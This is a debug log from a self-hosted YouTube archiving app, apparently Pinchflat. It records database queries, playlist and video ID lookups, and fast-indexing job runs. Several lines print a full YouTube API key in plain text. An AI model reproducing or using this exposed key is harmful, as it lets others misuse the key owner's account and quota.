SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:10.499 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.499 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 18:07:10.499 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.499 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:10.567 [debug] QUERY OK source="media_items" db=0.2ms idle=68.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 18:07:10.567 [debug] QUERY OK source="media_items" db=0.1ms idle=68.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 18:07:10.677 [debug] QUERY OK source="media_items" db=0.5ms idle=177.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 18:07:10.678 [debug] QUERY OK source="media_items" db=0.3ms idle=110.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 18:07:10.679 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800365, 13, ~U[2026-02-11 00:07:10Z], ~U[2026-02-11 00:07:10Z]] 18:07:10.679 [info] {"args":{"id":13},"id":3800326,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":180588,"event":"job:stop","queue_time":388853,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.771 [info] {"args":{"id":22},"id":3800327,"meta":{},"system_time":1770768430771758548,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.772 [debug] QUERY OK source="sources" db=0.1ms idle=92.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 18:07:10.772 [debug] QUERY OK source="settings" db=0.1ms idle=92.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.772 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:10.772 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.772 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 18:07:10.772 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.772 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:10.900 [debug] QUERY OK source="media_items" db=0.5ms idle=127.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 18:07:10.901 [debug] QUERY OK source="media_items" db=0.2ms idle=128.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 18:07:10.903 [debug] QUERY OK source="tasks" db=1.8ms idle=1.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800366, 22, ~U[2026-02-11 00:07:10Z], ~U[2026-02-11 00:07:10Z]] 18:07:10.903 [info] {"args":{"id":22},"id":3800327,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":131851,"event":"job:stop","queue_time":590702,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:11.358 [debug] QUERY OK source="tasks" db=593.1ms idle=86.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800364, 42, ~U[2026-02-11 00:07:10Z], ~U[2026-02-11 00:07:10Z]] 18:07:11.656 [info] {"args":{"id":42},"id":3800325,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":977913,"event":"job:stop","queue_time":380439,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:12.416 [info] {"args":{"id":14},"id":3800328,"meta":{},"system_time":1770768432416136441,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:12.416 [debug] QUERY OK source="sources" db=0.1ms idle=1040.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 18:07:12.416 [debug] QUERY OK source="settings" db=0.1ms idle=760.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:12.416 [debug] QUERY OK source="media_profiles" db=0.0ms idle=754.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:12.417 [debug] QUERY OK source="settings" db=0.0ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:12.417 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 18:07:12.417 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:12.417 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:12.493 [debug] QUERY OK source="media_items" db=0.8ms idle=75.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 18:07:12.495 [debug] QUERY OK source="media_items" db=1.6ms idle=77.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 18:07:12.496 [debug] QUERY OK source="tasks" db=0.1ms idle=79.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800367, 14, ~U[2026-02-11 00:07:12Z], ~U[2026-02-11 00:07:12Z]] 18:07:12.496 [info] {"args":{"id":14},"id":3800328,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":80631,"event":"job:stop","queue_time":524647,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:14.420 [info] {"args":{"id":24},"id":3800329,"meta":{},"system_time":1770768434420729639,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:14.420 [info] {"args":{"id":4},"id":3800330,"meta":{},"system_time":1770768434420762979,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:14.421 [debug] QUERY OK source="sources" db=0.2ms idle=542.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 18:07:14.421 [debug] QUERY OK source="sources" db=0.2ms idle=542.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 18:07:14.421 [debug] QUERY OK source="settings" db=0.1ms idle=542.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:14.421 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:14.421 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:14.421 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:14.421 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:14.421 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 18:07:14.421 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:14.421 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 18:07:14.422 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:14.422 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 